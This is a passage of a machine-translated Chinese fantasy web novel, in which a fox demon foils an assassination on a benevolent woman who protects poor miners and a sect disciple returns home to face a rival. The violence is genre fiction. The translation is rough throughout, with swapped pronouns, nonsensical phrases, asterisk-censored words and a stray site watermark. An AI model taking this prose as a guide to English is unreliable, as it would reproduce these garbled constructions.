    "Today I was meditating in the heavenly palace, and I felt a sudden feeling in my heart, so I took a divination. As a result, the hexagram showed that I will meet a very beautiful girl tonight, and this girl will have troubles and need me. Appeared to resolve, so..."


    "So you fell from the sky and sat down this Geng Hu into a meatloaf, didn''t you? Fairy Fox?" A Baoyu said sarcastically.


    "Well, even if it''s not in the middle, it''s not far away..."


    "Are you so big!" A Bao stepped forward with a thud.


    Don''t think she is just a little girl, but her hands are so strong, the hit Fox Ye hugged her head and let out a painful cry.


    "Hey, how do you hit someone?"


    "What''s wrong with the beating? Who makes you slurp and take advantage of my sister Qing Wan?"


    "Why am I taking advantage?"


    "Oh, dare you to be tough?"


    boom!


    Another burst of chestnut.


    "Hey! I''ll tell you, don''t take it easy!"


    "What''s the matter with getting an inch?"


    "Recently, Lord Fox, I''ve gotten into the cold. If you have the ability, wait for me to get better!"


    "How can you drip when the wind is better?" A Bao said, reaching out his hand and throbbing again.


    Mu Qingwan said solemnly: "Boer, stop making trouble!"


    A Bao stopped then, then snorted at Hu Ye, turned and returned to Mu Qingwan''s side.


    "Sister Qing Wan, this guy..."


    Mu Qingwan glared at her, and A Bao stuck his tongue out, not daring to say anything.


    Then Mu Qingwan stepped forward and arched his hand slightly.


    "Young Master Fox Night, my maid has a rough temper, let you see a joke!"


    Hu Ye grinned and touched the two big bags on his head, and said with a wry smile: "I don''t know if you have a rough temper, but this is really powerful!"


    Mu Qing couldn''t help but smile upon hearing this.


    The smile of her made Fox Ye startled.


    This smile is gentle and moving, and it is simply charming.


    Perceiving Fox Ye''s gaze, Mu Qing turned his face slightly red, and some displeasure rose in his eyes, but he still restrained it.


    "As far as I know, the fox family is at the northernmost end of the Yaozu mountain range, and the Moonlight City is on the east side, but I don''t know if Young Master Fox Ye came here not far away, why?" Mu Qingwan said coldly.


    Mu Qingwan had some doubts about the origins of this fox night. UU read , but after all, it was because he fell from the sky that Geng Hu was killed. So speaking, he helped himself, so he spoke. Fairly polite.


    Hu Ye sighed, "Don''t the girl believe what I just said? I meditated in the heavenly palace..."


    Mu Qing frowned. Is this fox demon''s head a little abnormal?


    Or he broke his head just when he fell.


    It''s all messy.


    "Master Fox Night, do you know who was the one who was killed by you?"


    "Who?"


    "This person is the lobby owner of the Tiger Head Gang in the north of the city. There is a Tiger Demon who has been in the Dao for a hundred years! You have killed him now, the people in the Tiger Head Gang will obviously not give up!" Mu Qingman paused.


    "So I hope you can answer honestly, otherwise I won''t be able to help you!"


    "Hehe, a mere tiger-head gang, why don''t you hang your teeth! I think Fox Ye is also..." said Fox Ye with a complacent expression.


    Before he finished speaking, Mu Qingwan led the people around and left.


    As soon as Hu Ye saw the situation in the field, especially his current cultivation level was completely lost, he couldn''t help but shudder all over, and hurried to catch up.


    "Hey, wait for me! Miss Qing Wan, I just teased you!"

 Chapter 590： Admission fox night

    Coolie Lane.


    In a somewhat dilapidated courtyard.


    Almost everyone was stunned at the Fox Ye who had eaten eight bowls of shredded pork noodles and was eating the ninth bowl.


    After a while, an old man with gray hair whispered: "Qing Wan, the son you brought back, how long hasn''t had a meal?"


    Mu Qingwan was also a little surprised, "Maybe... Fox tribe can eat better!"


    After waiting for ten bowls of shredded pork noodles, Hu Ye took a breath when he pushed the bowl away.


    Many people followed him with a sigh of relief.


    "Are you full?" A Bao asked with his lips curled.


    "Huh, tired of eating, let''s take a break!"


    Everyone: "..."


    Mu Qing shook his head and led a few elders away.


    As soon as she left, a dozen or so children in shabby clothes swarmed up around the table, looking at Fox Night with eyesight.


    At this time, A Bao brought another pot of noodles, and Hu Ye was about to eat it, but when he saw these children staring at the bowl with eager eyes, he was taken aback.


    A Bao sighed and dragged the children to leave.


    "This is..." Hu Ye asked with some confusion.


    A Bao said lightly: "You have eaten a lot of people''s rations for this meal, and these kids are probably going to be hungry."


    He lowered his head and smiled softly, "Sister Abao will buy you delicious food, okay?"


    These little children shook their heads together, "Sister Abao, we are not hungry!"


    Among them was an older girl who grabbed A Bao''s arm, "Sister A Bao, my mother said, I can''t let you spend any more money for us! You should save money for dowry!"


    These teenagers nodded together, "Yes!"


    A Bao was said to be quite embarrassed, and said angrily: "Sick Nizi, what nonsense?"


    She said she was going to pinch the little girl''s face, but the little girl smiled and avoided.


    But when Hu Ye watched this scene, she suddenly felt that the shredded pork noodles in front of her were a bit hard to swallow.


    "Cough cough, I suddenly felt a little overwhelmed! A Bao, let these children eat these noodles!" said Hu Ye.


    A Bao looked angrily on his hips, "Who is A Bao called? Can you call A Bao?"


    "What''s that called?"


    "Sister Abao should be called!"


    Hu Ye shook his head, "No wonder I asked you to save a dowry, otherwise how could it be possible to get married if you are so tricky?"


    A Bao''s face turned green with anger.


    But Hu Ye just smiled, and then said to the children: "Hurry up and eat while it''s hot, otherwise it won''t taste good when it gets cold!"


    These little children all looked at A Bao.


    Although Abao is stubborn, he is very good to these children. He nodded and said, "Go and eat! I will cook for you if it is not enough!"


    These little children rushed up with cheers, and began to face in an orderly manner.


    Huye stood aside and looked at it with a smile, and then asked, "Who are these children?"


    A Bao looked sad, "Most of them are orphans whose parents have died."


    Fox night was startled.


    A Bao continued, "Do you know why it is called Coolie Lane? Because all the coolies who live here are mining coolies!"


    "These coolies get up early and greedy the dark mining, but they can only get a meager income, but even this carries a great risk! For example, the parents of these children are basically caught because of accidents during mining. Smashed to death! Even if luckily not smashed to death, you will end up alive and tired!"


    "Do you know why Sister Qing Wan refused to hand over this coolie alley even if she was against the Tiger Head Gang? Because Sister Qing Wan knew very well that once this alley was handed over, these coolies who were already in a miserable situation would be in the Tiger Head Gang. Under the squeeze of the squeeze, you will fall into infinite **** forever."


    A Bao said these shocking words in a very plain tone.


    Huye couldn''t help being a little silent after hearing this.


    "But this time Geng Hu was smashed to death by you, the tiger head gang will never give up. Although Qing Wan won''t say anything, I know she must be worried about it!" A Bao sighed.


    Hu Ye smiled slightly, "Don''t worry, no one dares to treat you with me!"


    A Bao glanced at Fox Ye, then curled his lips, "I don''t have any cultivation base. What can you do? When they call the door, will you show them noodles?"


    Fox night: "..."


    "Hey, when you talk, you look exactly like a nasty guy!" Hu Ye said.


    "Hehe, thanks for the compliment!"


    The two quarreled a few more words, and then the children ate a pot of noodles.


    Abao went to clean up the dishes and chopsticks, while Hu Ye looked at this little girl''s still slightly immature figure, smiled slightly, and his eyes flickered.


    "Is this an entry?"


    Located in the west of Moonlight City, in a very beautiful courtyard.


    Tong Bao, the leader of the Tiger Head Gang, was sitting on a chair in the main hall, playing with two huge iron **** in his hands, looking down at the dozen or so stretchers on the floor of the hall.


    A **** atmosphere lingers, making people feel irritable.


    Several men with blue noses and swollen faces knelt behind the stretcher in silence.


    There was no sound in the entire hall, only the clattering of the iron ball in Tong Bao''s hand.


    Suddenly.


    Tong Bao patted it with a palm, patted the iron wood coffee table next to him, and then said angrily.


    "Mu Qingwan, this lady is so deceiving!"


    Everyone trembled, and then all bowed their heads, not daring to say anything.


    Tong Bao looked at the kneeling men with a sullen face, "You said, how did Geng Hu die?"


    "If you return to the helper, Lord Tiger was killed by a guy who fell from the sky!"


    "Descent from the sky? Life and death?" Tong Bao asked angrily.


    "Do you think I am a three-year-old child?"


    These few men shook their heads like sifting chaff, and kept kowtow, "We dare not say half-word lies! Lord Tiger was indeed smashed to death, and then the lady Mu Qingwan took advantage of the void and gave us Kill it!"


    Tong Bao was about to have an attack, and a man with a sharp-mouthed monkey gill, who looked like a weasel, stood up while wearing a scholar shirt.


    "Help the lord calm down, I think these people must dare not deceive you!"


    "Yes, yes, right! The military division is right! How dare we deceive you?" These men hurriedly said Tong Bao''s complexion became ugly, and he waved, "You all go down!" I''ll settle this account with you later!"


    These people, as if they were amnesty, kowtowed their heads to thank them, and then backed out.


    When the Tong Leopard and the Weasel sergeant were left in the hall, Tong Leopard said hesitantly.


    "Military strategist, if he really fell from the sky, would he be a master of the monster race?"


    Although this child leopard was in the form of a tiger and leopard, he was extremely cautious, so he became a little nervous when he heard someone descending from the sky.


    The weasel said, "My lord, no one is easy to say! But this person must be strange to appear at this time!"


    Tong Bao''s face turned pale, "Then...Should we not deal with this Mu Qingwan?"


    Weasel shook his head, "Helper, this matter can''t be eased, but we don''t have to do it myself!"


    "Oh?"


    "For example... we can find a reliable killer to kill this Mu Qingwan!"


    "Then where do we find a reliable killer?"


    "It''s true that there is one now! And it lives in the music hall!"

 Chapter 591： Im a killer with no feelings

    Taking the band, as the name suggests, is the place for fun.


    Because Moonlight City is rich in ore, it has also created many wealthy merchants here.


    If you have money, you have to consume.


    This is a principle that applies to both humans and demons.


    Therefore, the business is very good.


    Of course, this is also because the girls in this band are all-encompassing, there are all shemales, and there are even a few witches, and they are all trained with excellent quality.


    Whether you are a man or a demon, you can find the right girl here.


    Tong Bao is also a frequent visitor here.


    So when he came, a few familiar girls immediately came up.


    "Yeah, how come the Tong Da gang leader has time to come today? Since the last goodbye, the slave family has missed you very much!"


    The speaker was a coquettish woman, but from the tail behind her, it could be seen that she was a catwoman.


    Tong Bao''s mind was shaken, if it weren''t for something serious, he really wanted to lie down in this gentle country and enjoy it for a while.


    "Ahem, come here today to have a business, wait for next time!"


    "The child gang master can really laugh, everybody who is here, who has no business?" the catwoman said with a grin.


    This is a pun, so Tong Bao didn''t know how to answer after hearing it.


    At this time, the military officer on the side laughed and said, "Miss Catwoman, we are really going to have something to do this time. We want to see Miss Fox!"


    When Catwoman heard this, her expression immediately became cold, and she pointed upstairs, "Just upstairs, go find it yourself!"


    Then left lazily.


    Tong Bao wanted to say a few gentle words, but was dragged upstairs by the military commander.


    Catwoman looked down, curling her lips a little jealously.


    "I''m looking for that Sao Fox again, and I don''t know what this Sao Fox is so good about! Humph! A bunch of monsters who have never seen the world before."


    The catwoman cursed underneath.


    Before Tong Bao and the military teacher came to the private room on the second floor, they knocked gently on the door. It took a while before they heard a lazy male voice coming from inside.


    "Come in! The door is unlocked!"


    Tong Bao pushed in.


    There was a magnificent scene in this room, and the air was filled with a faint fragrance.


    At this moment, the curtain lifted up, revealing the scene of the bed.


    I saw a man lying weakly on the bed, and a coquettish woman was stepping on his back.


    "Well, that''s it, hiss! Step on harder!" The man commanded with a grin.


    The military teacher winked at Tong Bao, meaning that this man was the killer he was looking for.


    Tong Bao hesitated.


    This man has lost weight, he doesn''t look like a master at all. Could he be the ultimate killer that this military division said?


    With this hesitant effort, the man turned around and glanced at Tong Bao lazily.


    This man looks good, but he is too lazy, he seems to be reluctant to raise his eyelids.


    "Weasel, why are you looking for me?"


    The military master smiled and hurriedly stepped forward and said, "Master Xue kills, this is the helper of our Tiger Head Gang. He came here to let you do something!"


    "Who to kill?"


    "Uh..." The military commander glanced at the fox girl.


    "Go ahead, she won''t reveal the news!" Xue Sha said lightly.


    The fox girl raised her head and smiled at the military division, seeming to confirm Xue Sha''s statement.


    Tong Bao stepped forward at this time, "Mu Qingwan!"


    Xue Sha raised her eyes slightly, "The female bodhisattva of Moonlight City?"


    Because Mu Qingwan had an excellent reputation among the poor, she was also called a female bodhisattva.


    Tong Bao nodded.


    "Okay, one hundred moonstones!" Xue Sha said lightly.


    "This is too expensive!" Tong Bao was slightly startled, and wanted to make a counter-offer.


    "Walk slowly, don''t give it away!" Xue Sha said without hesitation.


    "Uh..." Tong Bao didn''t expect Xue Sha to speak so cleanly.


    The military officer on the side hurriedly smiled and said, "One hundred yuan is one hundred yuan!"


    "Well, pay the money first!"


    Tong Bao was furious, "Don''t killers only collect money after things are done?"


    "That''s someone else! I''m not the same, I don''t bother to ask for it! You know, I am a killer with no emotions." Xue Sha said lightly.


    "Yes, yes!" The military division nodded and said yes.


    In the end, Tong Leopard paid the money.


    One hundred moonstones is also a big number for the Tiger Head Gang.


    But in order to eradicate Mu Qingwan, this is also worthwhile.


    "All right! Tomorrow morning, you come over to take Mu Qingwan''s head!" Xue Sha said lightly.


    The military teacher dragged Tong Bao away.


    On the way back, Tong Bao said hesitantly: "What if this guy collects money and doesn''t do anything, or runs away?"


    The military commander shook his head, "Don''t worry, the helper, this person is a master from Demon Capital, he is by no means comparable to an ordinary killer, and he has excellent credit and has never lost his hand!"


    Hearing what the military commander said, Tong Bao had no choice but to nod his head.


    After receiving the money, Xue Sha lay down on the bed until the middle of the moon, before slowly getting up.


    The fox girl arranged wine and food for him and served him to finish.


    Then Xue Sha rubbed his sleepy eyes and patted the fox **** the head, "Wait for me to come back!"


    "Hmm!"


    "Damn, I''m so sleepy!" Xue Sha mumbled as he jumped out of the window.


    Then just heard a plop.


    After a while, I heard Xue Sha��s anger, "Fuck, who put the swill bucket under the window?"


    In short, after a while, Xue Sha finally successfully came to Cooley Lane.


    It was already late at night.


    Quietly in Coolie Lane, everyone fell asleep.


    Xue Sha closed his eyes, an invisible and innocent spirit spread out.


    quickly.


    A smile appeared at the corner of Xue Sha''s mouth.


    Under his perception skills, Mu Qingwan, the strongest cultivation base, was like a torch, very eye-catching.


    Then he touched the target direction silently.


    And at this moment, Hu Ye, who was in the room calculating how to restore his cultivation base, gave a faint voice, then looked up at a cold smile gradually appeared on his face.


    "How dare you come under the nose of your fox to kill? Are you impatient to live?"


    With that, Hu Ye followed silently.


    Mu Qingwan was sorting accounts in the house at this time.


    She was in charge of Cooley Lane and the surrounding blocks, but she was actually in a state of making ends meet.


    Because Cooley Lane was a fat and oily place in many people''s eyes, Mu Qingwan never took a penny from it.


    He even put in a lot of money to treat the orphans.


    "Sister Qing Wan, go to bed first! It''s so late!"


    "Oh! You go to sleep first!"


    A Bao looked at Mu Qingwan distressedly, "Sister Qingwan, are you out of money again?"


    Mu Qingwan smiled bitterly, "It''s okay, you don''t have to worry about these things!"


    "I still have some savings, or..."


    Mu Qing shook his head, "You should keep your money as a dowry!"


    A Bao''s face turned red, and he stomped her feet in a despised manner, "Sister Qing Wan..."


    But as soon as her voice fell, she saw a sword light that looked like the first clear sky after a snowfall and directly smashed the doors and windows, rushed to Mu Qingwan and killed it.

 Chapter 592： Qingqiu Fox Country 2 guards, Xue Xue, have seen...

    This sword came too fast.


    Mu Qingwan had no time to react, so he could only watch Jian Guang rush forward.


    But at this moment, I heard someone shout, "Magic weapon!"


    Following the voice, a black light flew in diagonally, hitting Xue Sha''s shoulder.


    Xue Sha felt her shoulders shook, and Jian Guang slowed by three points.


    Mu Qingwan took this opportunity to retreat sharply, avoiding the sword.


    Xue Sha looked down and saw that the so-called magic weapon was nothing but a rotten brick. He couldn''t help being annoyed and cried out coldly, "Who dares to do anything to me!"


    As he said, he turned around to prepare for the sword.


    But when he just turned around, Hu Ye didn''t know when he had come behind him, and he raised the brick in his hand to take a photo.


    The two looked at each other.


    Xue Sha trembled all over, "Big..."


    Fox Ye''s face sank like water, "Nima, it''s you!"


    He said a brick and patted Xue Sha''s head.


    Xue Sha didn''t even dare to move, letting the blood drip from his forehead.


    Such a scene naturally surprised Mu Qingwan and A Bao.


    "What''s going on?" Mu Qingwan asked coldly.


    "Nothing, this is one of my former subordinates! Don''t you kneel down to apologize?" Hu Ye stared.


    Xue Sha immediately knelt down respectfully, "Girl Qingwan, I don''t know that you are actually a friend of an adult, how offended you are, please forgive me!"


    Mu Qingwan''s expression was a little ugly, he almost died under the sword of this man, but now he said that he was under this fox night?


    what''s the problem?


    Huye sighed slightly when she saw this, "Miss Qingwan, the explanation of this matter is a bit complicated, but I can assure you that I will never be malicious to you! And if I really wanted to kill you, I wouldn''t just Come out to save you!"


    Mu Qingwan remembered the sword just now, knowing that Fox Ye was right.


    If he hadn''t taken the shot in time, he would have been killed by the sword.


    Mu Qingwan took a deep breath, then nodded, "Okay, this time I will believe you!"


    Hu Ye smiled slightly, and then said coldly to Xue Sha, who was kneeling on the ground, "Come with me!"


    Waiting for Huye and Xuesha to leave.


    A Bao came over in shock, "Sister Qing Wan, are you all right!"


    Mu Qing shook his head and looked at the doors and windows shattered by sword light, his eyes flickering, "Abao, do you think what this Fox Night said is true?"


    A Bao hesitated for a moment, then nodded lightly, "Sister Qing Wan, although this fox night is delicious and lazy, I don''t think he is a bad person!"


    Mu Qingwan turned his head to look at A Bao, and then laughed, "Is it possible that our Miss A Bao fell in love with this Fox Night?"


    A Bao couldn''t help but sighed, "Oh, Sister Qingwan, don''t make fun of me. He is a fox and I am a human. How could it be possible!"


    "Why is it impossible? Hee hee, it seems to have really moved my heart!" Mu Qingwan joked a few words, and A Bao, who was blushing with red ears, hurried back to his room to sleep.


    After Mu Qingwan was left alone, she quietly looked at the night outside, her expression gradually condensing.


    "What kind of person, or demon, are you? Why does such a top killer become so respectful when he meets you?"


    Mu Qingwan was puzzled.


    At this time, Hu Ye had led Xue Sha back to his house.


    When the door is closed.


    Xue Sha immediately knelt on the ground respectfully, "Qingqiu Fox Country second-class guard, Hu Xue Sha, has seen Master Fox Ye."


    Hu Ye''s face sank like water, standing in front of the kneeling Fox Xuesha, he didn''t know what he was thinking. After a while, he said lightly.


    "Why did you appear in this world? Also, who sent you here?"


    Hu Xuekiller said respectfully: "If you return to your lord, I am on the order of the great elder to go to the world to find Princess Foxying and your whereabouts!"


    "Great Elder..." Hu Ye muttered to herself softly, her expression turned a little weird.


    At this time, Hu Xuesha continued: "Not only me, but thousands of guards have also been sent out to find the whereabouts of the Princess and you. As for why they came to this world..."


    Hu Xuesha smiled bitterly and said: "More than a year ago, I accidentally cut off the root of a mother fairy tree in a secret realm, and then came to this place in a daze. When I wanted to go out again, I said nothing. Go! Even the heavenly crossing order issued to us by the great elder is invalid."


    Hu Ye smiled coldly when he heard the words, "Of course you can''t get out. This is a very special secret realm! The Transcendence Token of the Heavens has no effect at all in this place!"


    "So that''s it!" Hu Xuesha nodded in response.


    At this time, Hu Ye said coldly: "Now I ask you, why are you a killer?"


    Fox Xue looked embarrassed when she killed her face, "Back to my lord, I recently wandered here and met a fox girl in the fun fair in the city. The two love each other, but I am ashamed..."


    "Then you will collect money and work for others?" Hu Ye''s eyes were cold.


    Hu Xuesha trembled all over, and banged his head a few times, "My lord, Xuesha knows it was wrong!"


    "Huh, the second-class guard of the dignified Qingqiu Fox Country actually worked for others for a little profit! This account will be settled with you after I go back!"


    Hu Xuesha didn''t dare to defy the slightest, kneeling down in a cold sweat, "Yes!"


    "Okay, get up!" Hu Ye said lightly.


    Hu Xuesha stood up and said respectfully: "My lord, why are you also in this secret realm? And your cultivation..."


    Hu Ye stood with his hand in his hand, "I came here to win the luck of the Qingqiu Fox World. As for my cultivation base, it is restricted by the rules here! Hey, your cultivation base is unacceptable. What a limit!"


    Hu Xuesha nodded, and honestly replied, "Probably 90% weakened, and 10% left!"


    Hu Ye nodded, "10% is not bad! You can almost protect yourself in this world!"


    Then he said coldly: "Let you kill Mu Qingwan''s people you know what to do!"


    Hu Xuesha nodded, "Understood!"


    "Okay, then you go now!"


    "Yes!"


    Hu Xue killed a few and disappeared into the night.


    Fox night stood in front of the window and said lightly: "It''s not surprising that the elder is looking for Ying''er, why are you looking for me? What''s the matter? Oh, I have a headache when I think of going back to the fox world!"


    And in the tiger head gang.


    Tong Bao and the weasel were still waiting for good news.


    So when Hu Xuesha suddenly appeared, these two monsters were completely defenseless.


    "you����."


    As soon as the weasel uttered the word you, Fox Xuesha slashed his head and cut off his head.


    Tong Bao was terrified, "What''s the matter? Why did you kill us?"


    Hu Xuesha coldly said: "You are to blame for your deaths if you let me deal with adults'' friends!"


    "My lord?" Tong Bao was still thinking about who this adult was, so he was also chopped off by Xue Xue.


    But this Fox Snow Killer didn''t know. When he left with the heads of the two monsters, a light ball rose up on the corpse of the boy leopard, flew straight to the north, and disappeared in the blink of an eye.

 Chapter 593： I will be responsible for what happened last night!

    The second day.


    When the headless bodies of Tong Leopard and Weasel were found.


    The entire Moonlight City was a sensation.


    The Tiger Head Gang was regarded as the largest gang in Moonlight City, but it was unexpected that the heads of the gang leader and the military division were cut off overnight.


    As a result, suspicion arose, and people wanted to know who did it.


    Then invariably, many people turned their attention to Coolie Lane, to Mu Qingwan, who has an excellent reputation and the nickname of the female bodhisattva among the people.


    There was a lot of friction between Hutou Gang and Mu Qingwan before, and Geng Hu, the lobby owner of the Hutou Gang, died under Mu Qingwan the other day.


    When the two parties were at war, Tong Bao lost his head.


    It''s hard not to make people doubt Mu Qingwan.


    And at the moment in the courtyard of Coolie Lane, Mu Qingwan was also dumbfounded.


    "What? Tong Bao is dead?"


    "Yes! The news that just came, the head was chopped off, and the military teacher weasel was killed together!"


    Mu Qingwan was full of shock.


    She is not a fool. The person who assassinated herself last night is absolutely inseparable from Tong Bao.


    And now Tongbao''s sudden death must have something to do with Huye.


    Thinking of this, she was about to find Huye.


    Unexpectedly, Hu Ye had already led Hu Xue to kill Shi Shiran.


    "Good morning everyone! Do you have breakfast?" Hu Ye smiled and greeted everyone.


    Many people looked at him strangely.


    After all, he is full of calculations in Cooley Lane, which he arrived only yesterday. Many people have never seen him. Such a warm greeting is easy to make people feel embarrassed.


    But Hu Ye didn''t notice anything, and smiled and greeted A Bao.


    "Abao, I haven''t seen you all night, why do I think you are beautiful again?"


    "Bah! That''s nonsense in the early morning!" A Bao took a sip, but a smile appeared on his face.


    Last night, the scene where Foxxue killed her kneeling was also quite shocking to her. It caused her not to sleep well all night, and even her dreams were that Foxye became cold.


    This made A Bao feel a little lost after waking up.


    Do you really like this nasty fox demon?


    Certainly not, I was just shocked by that scene! Hmm, it must be so!


    But when he saw that Fox Ye was still smiling, A Bao suddenly felt very happy, especially when he was talking to himself smoothly. Although A Bao scolded him, he felt a little sweet in his heart.


    Maybe you are really beautiful! A Bao thought to himself.


    But Hu Ye didn''t notice so much at all. He just habitually had to say a few words after seeing a beautiful girl, otherwise he would be uncomfortable.


    Mu Qingwan looked at Fox Night at this time, and said in a deep voice: "Fox Night, last night..."


    Hu Ye smiled, "Don''t worry, I will be responsible for what happened last night!"


    Huh!


    After hearing these words, everyone looked at Mu Qingwan.


    Blue veins loomed on Mu Qingwan''s forehead, with a fierce light in his eyes, "What did you say?"


    "Uh...I mean I will repair the broken doors and windows last night. Is there a problem?"


    Mu Qingwan had nothing to do with this fox night. He simply stopped pestering him and asked directly: "I want to ask you, Tong Bao''s death..."


    "Oh, this! If you don''t tell me, I have forgotten it." Hu Ye patted his forehead like a sudden realization, and then gave a wink at Hu Xue who was behind him.


    Hu Xuesha stepped forward, opened a baggage he was carrying with him, and poured it out.


    Gurulu.


    Two heads rolled out of the baggage.


    After seeing these two heads, the whole courtyard was shocked.


    "It''s the head of the tiger head gang leader Tong Bao!"


    "That''s from the Tiger Head Gang sergeant!"


    "God, these two guys were killed by this fox demon!"


    Mu Qingwan couldn''t help but his face changed drastically, "You...you killed them?"


    Huye nodded, "They were the ones who sent someone to kill you last night! Karma cycle, retribution is unhappy, naturally it is their turn to be killed!"


    Mu Qingwan''s complexion gradually became serious.


    And an old man beside her couldn''t help but mournfully said: "This is troublesome!"


    "Trouble? What''s the trouble?" Hu Ye said lightly.


    "The reason why this tiger head gang is so arrogant in Moonlight City is because they have people on it! I heard that the leader is related to this tiger head gang! Now that he is dead, this matter is not good. Solved!" Mu Qingwan said solemnly.


    "So it''s like this!" Hu Ye nodded thoughtfully, and then smiled, "This is also easy to solve!"


    "Oh? How to solve it?" the old man asked first.


    "Since the monster above is also helping the gang to abuse him, then just wait for the leader to come, and solve them all?"


    Hearing his words, the old man, who was full of hope for a proper solution, almost did not lose his breath, and simply flicked his sleeves, "It''s really nonsense, I don''t know how high the world is!"


    After speaking, he left with a sigh.


    Mu Qingwan also sighed helplessly, but the matter was over, and it was useless to say more, so she had to admit it.


    Soon, the news that Tong Leopard did indeed die in Mu Qing''s arms spread like wildfire, making the whole Moonlight City restless.


    The people at the bottom who were oppressed by the tiger head gang were all happy to hear this news, but there were still many forces who were ready to move, trying to bite the flesh and blood from the fallen tiger gang.


    Mu Qingwan revealed his decisive side at this time.


    Since Tong Leopard is dead, and this tiger head gang is in name only, then the sphere of influence under its jurisdiction cannot be wasted.


    Anyway, it''s already offended, so just offend it hard.


    Therefore, Mu Qingwan led his servants to quickly take over the power of the Tiger Head Gang But after all of them were taken over, it was calm and calm after a few days, with no strangeness at all.


    This made Mu Qingwan''s subordinates who had been anxious all the time let out a sigh of relief.


    Maybe the adults above see that Tongbaoren is dead, so they don''t bother to pursue it any more.


    Just when Moonlight City became calmer.


    Xue An was on his way to Zhongzhou with Liu Keke, Lian Yunting and others.


    On this road, Xue An taught Lian Yunting and Lian Yunluo while pointing to Liu Keke. Liu Keke consciously benefited a lot, and his strength was growing rapidly.


    "The so-called puppet technique, to put it bluntly, is to feel the heart of the puppet through your own heart! Your puppet is a mechanical puppet handed down from ancient times, and this requires you to feel its mechanical heart! Only then can you play the puppet''s heart. Real strength!" Xue An said lightly.


    "Then what is a mechanical heart?" Liu Keke asked in confusion.


    "You have to ask yourself! If you find it, then the puppet will truly recognize you as the master, instead of simply letting you drive it!" Xue An said.


    Liu Keke nodded seemingly.


    On this day, Xue An and Liu Keke finally set foot on the land of Zhongzhou and came to the gate of Puppet Xianzong.

 Chapter 594： What a coincidence, I hate you too!

    This is a huge mountain with a height of thousands of feet. Standing at the bottom of the mountain and looking up, you can only see the mountain piercing the sky like a sharp sword, but you can''t see the top of the mountain at all.


    And that thick cloud surrounds the mountainside, like putting a hat on this big mountain.


    There are many cultivators in the land of Zhongzhou, and there are too many cultivating schools, so there is no need to cover the mountain gate, and a white marble mountain gate was built directly under the mountain.


    There are four characters written on it in ancient seal script, Puppet Xianzong.


    "Senior, this is where my sect is located. There are still two months left before the Thousand Clan Conference. Let''s wait here during this time." Liu Keke said respectfully.


    Xue An nodded non-committal.


    After passing the gate, the scenery inside has changed. There are strange flowers and plants everywhere, and various rare birds and beasts appear in the mountains and forests.


    Even the aura has become rich.


    Lian Yunting couldn''t help sighing, "What a wonderful place!"


    Xue An never said a word, just watching all this with a smile.


    Halfway up the mountain, the road became wider and houses began to appear on both sides.


    These are the places where the outer disciples of Puppet Xianzong live.


    When they saw Liu Coco, these outer disciples who were planting spiritual fields or forging parts bowed to salute.


    Liu Keke smiled slightly, nodded, and then led everyone through here quickly.


    After seeing Liu Keke leaving, these outer disciples got together and started talking in a low voice.


    "Senior Sister Liu should be the only one among so many true disciples who greeted us!"


    "Who said no, which of the other inner disciples saw that our nostrils were not upside down, and didn''t even bother to take a look?"


    "Alas, it''s a pity that such a good person is not tolerated by the second elder, and even tolerated his disciple Lu Cailan''s insults in every way, which is really infuriating."


    "Shhh! Don''t you say a few words! If this is known by the second elders, you still can''t take your skin off?"


    "Hmph, I''m not afraid! Her second elder acted unfairly. Who doesn''t know about the sect? That is, the head of the sect is confused, and has not said anything!"


    When talking about this, the expressions of the other outer disciples all changed drastically, and they didn''t dare to say anything anymore, and turned around to work on their own affairs.


    The person who was speaking also consciously failed to speak, and the outer disciple arbitrarily argued with the head. If this was passed out, he might really be over, so he turned pale and quickly avoided.


    Of course Liu Keke didn''t know these things, but the more he walked up the mountain, the more gloomy Liu Keke''s face became.


    At this time, they had arrived at the inner gate of Puppet Xianzong, and the scenery along the road became more and more refined.


    When they passed through the layers of clouds and mist, they suddenly opened up, and it turned out to be a large piece of flat ground.


    On this flat ground, a variety of beautiful and exquisite buildings were built, and many people shuttled back and forth on the road.


    These are the inner disciples of Puppet Xianzong.


    After seeing Liu Keke, these disciples all retreated to the roadside with weird expressions, bowed their heads to show respect, but no one said hello.


    Liu Coco''s face sank like water, leading the way.


    When Xue An and others passed by, they attracted a lot of curious eyes.


    This kind of gaze made Lian Yunting quite uncomfortable, so she lowered her voice and said to Xue An, "Master, what''s the matter with these people? Why do you think our eyes are weird?"


    Xue An smiled slightly, "It''s okay, just follow along!"


    Finally, Liu Keke led Xue An and others to a slightly desolate building.


    "Senior, this is my residence! Please come with me!"


    Said Liu Keke opened the door and walked in.


    Obviously, it has been unoccupied for some time, and it looks messy.


    Liu Keke hurriedly started to clean up.


    Lian Yunting and Lian Yunluo also went up to help.


    Xue An stood in the courtyard and looked at everything around him, especially when he saw the top of the mountain that was always shrouded in a layer of mist, the smile on his mouth became thicker.


    At this moment, there was a sound of footsteps outside the door, and then heard an arrogant female voice.


    "Oh, did you bring the man back when you went out?"


    Following the voice, the group walked into the courtyard.


    Walking in the forefront was a woman with enchanting and coquettish personality, and a sneer on the not-so-outstanding face.


    Behind him was a group of well-dressed disciples from the inner sect. Hearing this woman say this, the disciples burst into laughter.


    "Senior Sister Cailan is right. This Liu Keke said that he was traveling down the mountain, but he was actually looking for a man!"


    Xue An stood in the courtyard and watched quietly, without saying a word.


    At this moment, Liu Keke, who was packing up in the house, heard the outside sound and immediately walked out of the house. When he saw this woman, his face instantly became extremely ugly.


    "Lu Cailan, this is a senior I respect very much, I hope you can show respect when you speak!"


    "Senior? Just him?" Lu Cailan pointed at Xue An pretending to be surprised. "A Chinese man who has no cultivation skills is actually called senior by you? Liu Keke, are you kidding me?"


    These words caused a burst of laughter from the disciples behind her.


    Liu Keke''s face was pale, "Lu Cailan, it is not your turn for my friend to comment!"


    "It''s not my turn to comment, but if you take outsiders up the mountain, I have to take care of it. Otherwise, what if you are a spy from another school?"


    "I will report this matter to the teacher, is there anything else? Didn''t please leave me!" Liu Keke said, holding back his anger.


    Lu Cailan didn''t mean to leave at all Instead, she chuckled, "Sister Liu, I heard that you are traveling down the mountain and want to break through yourself, but don��t know how you are going? Oh, forgot to tell you. Yes! Last month, with the help of Master, I broke through another small realm!"


    Liu Keke remained silent, only the anger was burning in his eyes, but immediately he seemed to remember something, and silently lowered his head.


    Seeing this, Lu Cailan became more and more frantic, "Hehe, Liu Keke, I have good news to tell you! If you fail this Thousand Races Conference, you will be presented as a gift to the ghosts of Black Iron Mountain. The young master of the clan! How is it, is it a pleasant surprise?"


    Liu Keke''s face paled, "Lu Cailan, are you gloating enough?"


